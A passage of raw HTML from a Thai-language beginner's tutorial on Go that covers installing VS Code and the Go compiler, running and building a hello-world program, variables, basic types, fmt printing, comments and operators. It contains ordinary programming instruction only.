https://blog.pjjop.org/content/images/size/w2400/2024/07/IMG_3734.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><h2 id="abc-%E0%B8%82%E0%B8%AD%E0%B8%87-go">ABC &#xE02;&#xE2D;&#xE07; Go</h2><h3 id="go-get-started"><em>Go Get Started</em></h3><p>&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE43;&#xE0A;&#xE49; Go &#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; 2 &#xE2A;&#xE34;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49; &#xE04;&#xE37;&#xE2D;</p><ol><li>Text Editor &#xE40;&#xE0A;&#xE48;&#xE19; <a href="https://code.visualstudio.com/download?ref=blog.pjjop.org">VS Code</a> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Code</li><li><a href="https://go.dev/dl/?ref=blog.pjjop.org">Go Compiler</a> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE41;&#xE1B;&#xE25; Go Code &#xE40;&#xE1B;&#xE47;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE17;&#xE35;&#xE48; Computer &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE44;&#xE14;&#xE49;</li></ol><p>&#xE43;&#xE2B;&#xE49; Download &#xE17;&#xE31;&#xE49;&#xE07; Text Editor &#xE41;&#xE25;&#xE30; Go Compiler &#xE41;&#xE25;&#xE49;&#xE27;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07;&#xE42;&#xE14;&#xE22;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE15;&#xE32;&#xE21;&#xE04;&#xE33;&#xE41;&#xE19;&#xE30;&#xE19;&#xE33;&#xE15;&#xE32;&#xE21;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE01;&#xE32;&#xE23;&#xE02;&#xE2D;&#xE07;&#xE04;&#xE38;&#xE13;</p><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Go Compiler &#xE41;&#xE25;&#xE49;&#xE27; &#xE43;&#xE2B;&#xE49;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE21;&#xE1A;&#xE39;&#xE23;&#xE13;&#xE4C;&#xE02;&#xE2D;&#xE07; Go Compiler &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go version &#xE43;&#xE19; Command Line</p><pre><code>go version</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-01-at-3.07.37-PM.png" class="kg-image" alt loading="lazy" width="1524" height="938" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-01-at-3.07.37-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-01-at-3.07.37-PM.png 1000w, https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-01-at-3.07.37-PM.png 1524w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Folder hellogo &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Project &#xE41;&#xE23;&#xE01;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; mkdir hellogo &#xE41;&#xE25;&#xE49;&#xE27;&#xE40;&#xE1B;&#xE34;&#xE14; VS Code &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>code .</strong></p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-01-at-3.09.45-PM.png" class="kg-image" alt loading="lazy" width="1524" height="938" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-01-at-3.09.45-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-01-at-3.09.45-PM.png 1000w, https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-01-at-3.09.45-PM.png 1524w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;&#xE16;&#xE49;&#xE32;&#xE2B;&#xE32;&#xE01;&#xE22;&#xE31;&#xE07;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>code .</strong> &#xE1C;&#xE48;&#xE32;&#xE19; Command Line &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1B;&#xE34;&#xE14; VS Code &#xE44;&#xE14;&#xE49;&#xE43;&#xE2B;&#xE49;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; VS Code &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><ol><li>&#xE40;&#xE1B;&#xE34;&#xE14; VS Code</li><li>&#xE01;&#xE14; CMD + SHIFT + p</li><li>&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C; <strong>shell command</strong></li><li>&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; Install &apos;code&apos; Command in PATH</li></ol><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-24-at-8.21.24-AM.png" class="kg-image" alt loading="lazy" width="2000" height="1219" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-24-at-8.21.24-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-24-at-8.21.24-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-24-at-8.21.24-AM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/07/Screenshot-2024-07-24-at-8.21.24-AM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Go Extension &#xE1A;&#xE19; VS Code &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><ol><li>&#xE01;&#xE14; CMD + SHIFT + x</li><li>&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C; <strong>go</strong></li><li>&#xE01;&#xE14;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Go Extension &#xE02;&#xE2D;&#xE07; Google (Go Team at Google)</li></ol><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-24-at-8.28.48-AM.png" class="kg-image" alt loading="lazy" width="2000" height="1219" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-24-at-8.28.48-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-24-at-8.28.48-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-24-at-8.28.48-AM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/07/Screenshot-2024-07-24-at-8.28.48-AM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>4. &#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE01;&#xE14; Install &#xE41;&#xE25;&#xE49;&#xE27; &#xE01;&#xE14; CMD + SHIFT + p &#xE2D;&#xE35;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;</p><p>5. &#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C; <strong>go install</strong></p><p>6. &#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; Update Tools</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-24-at-8.36.11-AM.png" class="kg-image" alt loading="lazy" width="2000" height="1219" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-24-at-8.36.11-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-24-at-8.36.11-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-24-at-8.36.11-AM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/07/Screenshot-2024-07-24-at-8.36.11-AM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Go Extension &#xE41;&#xE25;&#xE49;&#xE27;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; File hello_world.go</p><pre><code>package main
import (&quot;fmt&quot;)

func main() {
  fmt.Println(&quot;Hello World!&quot;)
}</code></pre><p>Copy Code &#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19;&#xE44;&#xE1B;&#xE27;&#xE32;&#xE07;&#xE43;&#xE19; File hello_world.go &#xE41;&#xE25;&#xE49;&#xE27; Save File</p><p>&#xE15;&#xE2D;&#xE19;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Run Go Code &#xE41;&#xE23;&#xE01; &#xE1A;&#xE19; Terminal &#xE02;&#xE2D;&#xE07; VS Code &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>go run</strong> &#xE44;&#xE14;&#xE49;&#xE41;&#xE25;&#xE49;&#xE27;</p><pre><code>go run hello_world.go</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-01-at-3.17.19-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1396" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-01-at-3.17.19-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-01-at-3.17.19-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/Screenshot-2024-12-01-at-3.17.19-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/12/Screenshot-2024-12-01-at-3.17.19-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48;&#xE01;&#xE32;&#xE23; Compile Go Code &#xE43;&#xE2B;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go build</p><pre><code>go build hello_world.go</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-01-at-3.18.20-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1396" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2024-12-01-at-3.18.20-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2024-12-01-at-3.18.20-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/12/Screenshot-2024-12-01-at-3.18.20-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/12/Screenshot-2024-12-01-at-3.18.20-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Go Compiler &#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Binary File &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE23;&#xE31;&#xE19; Program &#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; ./hello_world &#xE04;&#xE23;&#xE31;&#xE1A;</p><h3 id="%E0%B8%95%E0%B8%B1%E0%B8%A7%E0%B9%81%E0%B8%9B%E0%B8%A3%E0%B9%81%E0%B8%A5%E0%B8%B0%E0%B8%8A%E0%B8%99%E0%B8%B4%E0%B8%94%E0%B8%82%E0%B9%89%E0%B8%AD%E0%B8%A1%E0%B8%B9%E0%B8%A5-%E0%B8%81%E0%B8%A5%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B9%83%E0%B8%AA%E0%B9%88%E0%B8%82%E0%B8%AD%E0%B8%87%E0%B8%8A%E0%B8%99%E0%B8%B4%E0%B8%94%E0%B8%95%E0%B9%88%E0%B8%B2%E0%B8%87-%E0%B9%86"><em>&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE41;&#xE25;&#xE30;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; : &#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE43;&#xE2A;&#xE48;&#xE02;&#xE2D;&#xE07;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46;</em></h3><p>&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE43;&#xE2A;&#xE48;&#xE02;&#xE2D;&#xE07; &#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE2D;&#xE07;&#xE44;&#xE14;&#xE49;&#xE44;&#xE21;&#xE48;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE19;</p><pre><code>var age int = 25
name := &quot;Nuttachot&quot;</code></pre><p>&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE43;&#xE19; Go &#xE17;&#xE33;&#xE44;&#xE14;&#xE49; 2 &#xE41;&#xE1A;&#xE1A; &#xE04;&#xE37;&#xE2D; <strong>&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE41;&#xE1A;&#xE1A;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19;</strong> &#xE41;&#xE25;&#xE30;<strong>&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE41;&#xE1A;&#xE1A;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Function</strong></p><figure class="kg-card kg-code-card"><pre><code>&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE43;&#xE19; Go
   - &#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE41;&#xE1A;&#xE1A;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19; (var &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; &#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; = &#xE04;&#xE48;&#xE32;)
     var age int = 25
   - &#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE41;&#xE1A;&#xE1A;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34; (&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; := &#xE04;&#xE48;&#xE32;) &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Function
     name := &quot;Nuttachot&quot;</code></pre><figcaption>Cheat Sheet!</figcaption></figure><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; Go 4 &#xE0A;&#xE19;&#xE34;&#xE14; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; int, float64, string &#xE41;&#xE25;&#xE30; bool</p><figure class="kg-card kg-code-card"><pre><code>&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;
   - int &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE15;&#xE47;&#xE21; &#xE40;&#xE0A;&#xE48;&#xE19; 1, 2 &#xE41;&#xE25;&#xE30; 3
   - float64 &#xE17;&#xE28;&#xE19;&#xE34;&#xE22;&#xE21; &#xE40;&#xE0A;&#xE48;&#xE19; 3.14 &#xE41;&#xE25;&#xE30; 2.5
   - string &#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21; &#xE40;&#xE0A;&#xE48;&#xE19; &quot;Hello&quot; &#xE41;&#xE25;&#xE30; &quot;Go&quot;
   - bool &#xE04;&#xE48;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE23;&#xE34;&#xE07; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; true &#xE41;&#xE25;&#xE30; false</code></pre><figcaption>Cheat Sheet!</figcaption></figure><h3 id="%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%9E%E0%B8%B4%E0%B8%A1%E0%B8%9E%E0%B9%8C%E0%B8%82%E0%B9%89%E0%B8%AD%E0%B8%84%E0%B8%A7%E0%B8%B2%E0%B8%A1-fmt-%E0%B8%AB%E0%B8%A3%E0%B8%B7%E0%B8%AD-format"><em>&#xE01;&#xE32;&#xE23;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21; : fmt &#xE2B;&#xE23;&#xE37;&#xE2D; Format</em></h3><p>&#xE43;&#xE0A;&#xE49; <strong>fmt.Println </strong>&#xE2B;&#xE23;&#xE37;&#xE2D;<strong> fmt.Printf</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE1A;&#xE2D;&#xE01;&#xE43;&#xE2B;&#xE49; Computer &#xE41;&#xE2A;&#xE14;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1A;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE08;&#xE2D;</p><pre><code>fmt.Println(&quot;&#xE2A;&#xE27;&#xE31;&#xE2A;&#xE14;&#xE35;, Go!&quot;)
fmt.Printf(&quot;&#xE09;&#xE31;&#xE19;&#xE2D;&#xE32;&#xE22;&#xE38; %d &#xE1B;&#xE35;\n&quot;, age)</code></pre><p>fmt.Println &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE41;&#xE25;&#xE30;&#xE02;&#xE36;&#xE49;&#xE19;&#xE1A;&#xE23;&#xE23;&#xE17;&#xE31;&#xE14;&#xE43;&#xE2B;&#xE21;&#xE48; &#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48; fmt.Printf &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE15;&#xE32;&#xE21;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; &#xE40;&#xE0A;&#xE48;&#xE19; %d, %f, %s &#xE41;&#xE25;&#xE30; %t</p><figure class="kg-card kg-code-card"><pre><code>&#xE01;&#xE32;&#xE23;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;
   - fmt.Println(&quot;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&quot;) // &#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE41;&#xE25;&#xE30;&#xE02;&#xE36;&#xE49;&#xE19;&#xE1A;&#xE23;&#xE23;&#xE17;&#xE31;&#xE14;&#xE43;&#xE2B;&#xE21;&#xE48;
   - fmt.Printf(&quot;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&quot;, &#xE04;&#xE48;&#xE32;) // &#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE15;&#xE32;&#xE21;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;
   
   &#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; &#xE40;&#xE0A;&#xE48;&#xE19;
     %d &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE15;&#xE47;&#xE21;
     %f &#xE17;&#xE28;&#xE19;&#xE34;&#xE22;&#xE21;
     %s &#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;
     %t boolean
     %T &#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;
     %v &#xE04;&#xE48;&#xE32;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; Default
     
   &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;
     fmt.Printf(&quot;&#xE09;&#xE31;&#xE19;&#xE2D;&#xE32;&#xE22;&#xE38; %d &#xE1B;&#xE35;&quot;, age)</code></pre><figcaption>Cheat Sheet!</figcaption></figure><h3 id="comment-%E0%B9%80%E0%B8%82%E0%B8%B5%E0%B8%A2%E0%B8%99-note-%E0%B9%83%E0%B8%AB%E0%B9%89%E0%B8%95%E0%B8%B1%E0%B8%A7%E0%B9%80%E0%B8%AD%E0%B8%87%E0%B8%AB%E0%B8%A3%E0%B8%B7%E0%B8%AD%E0%B9%80%E0%B8%9E%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%99%E0%B8%A3%E0%B9%88%E0%B8%A7%E0%B8%A1%E0%B8%87%E0%B8%B2%E0%B8%99"><em>Comment : &#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Note &#xE43;&#xE2B;&#xE49;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE23;&#xE48;&#xE27;&#xE21;&#xE07;&#xE32;&#xE19;</em></h3><p>Comment &#xE43;&#xE19; Go &#xE21;&#xE35; 2 &#xE41;&#xE1A;&#xE1A; &#xE04;&#xE37;&#xE2D; Comment &#xE1A;&#xE23;&#xE23;&#xE17;&#xE31;&#xE14;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27; &#xE41;&#xE25;&#xE30; Comment &#xE2B;&#xE25;&#xE32;&#xE22;&#xE1A;&#xE23;&#xE23;&#xE17;&#xE31;&#xE14;</p><figure class="kg-card kg-code-card"><pre><code>Comments
// &#xE19;&#xE35;&#xE48;&#xE04;&#xE37;&#xE2D; comment &#xE1A;&#xE23;&#xE23;&#xE17;&#xE31;&#xE14;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;

/*
   &#xE19;&#xE35;&#xE48;&#xE04;&#xE37;&#xE2D; comment
   &#xE2B;&#xE25;&#xE32;&#xE22;&#xE1A;&#xE23;&#xE23;&#xE17;&#xE31;&#xE14;
*/</code></pre><figcaption>Cheat Sheet!</figcaption></figure><h3 id="%E0%B8%95%E0%B8%B1%E0%B8%A7%E0%B8%94%E0%B8%B3%E0%B9%80%E0%B8%99%E0%B8%B4%E0%B8%99%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%9E%E0%B8%B7%E0%B9%89%E0%B8%99%E0%B8%90%E0%B8%B2%E0%B8%99-%E0%B9%81%E0%B8%A5%E0%B8%B0%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B9%80%E0%B8%9B%E0%B8%A3%E0%B8%B5%E0%B8%A2%E0%B8%9A%E0%B9%80%E0%B8%97%E0%B8%B5%E0%B8%A2%E0%B8%9A"><em>&#xE15;&#xE31;&#xE27;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19; &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE17;&#xE35;&#xE22;&#xE1A;</em></h3><p>&#xE15;&#xE31;&#xE27;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19; 5 &#xE15;&#xE31;&#xE27;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23; &#xE41;&#xE25;&#xE30;&#xE15;&#xE31;&#xE27;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE17;&#xE35;&#xE22;&#xE1A; 6 &#xE15;&#xE31;&#xE27;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23; &#xE02;&#xE2D;&#xE07; Go &#xE21;&#xE35;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><figure class="kg-card kg-code-card"><pre><code>&#xE15;&#xE31;&#xE27;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19; &#xE40;&#xE0A;&#xE48;&#xE19;
   +  &#xE1A;&#xE27;&#xE01;
   -  &#xE25;&#xE1A;
   *  &#xE04;&#xE39;&#xE13;
   /  &#xE2B;&#xE32;&#xE23;
   %  &#xE2B;&#xE32;&#xE23;&#xE40;&#xE2D;&#xE32;&#xE40;&#xE28;&#xE29;

&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE17;&#xE35;&#xE22;&#xE1A;
   ==  &#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A;
   !=  &#xE44;&#xE21;&#xE48;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A;
   &lt;   &#xE19;&#xE49;&#xE2D;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;
   &gt;   &#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32;
   &lt;=  &#xE19;&#xE49;&#xE2D;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A;
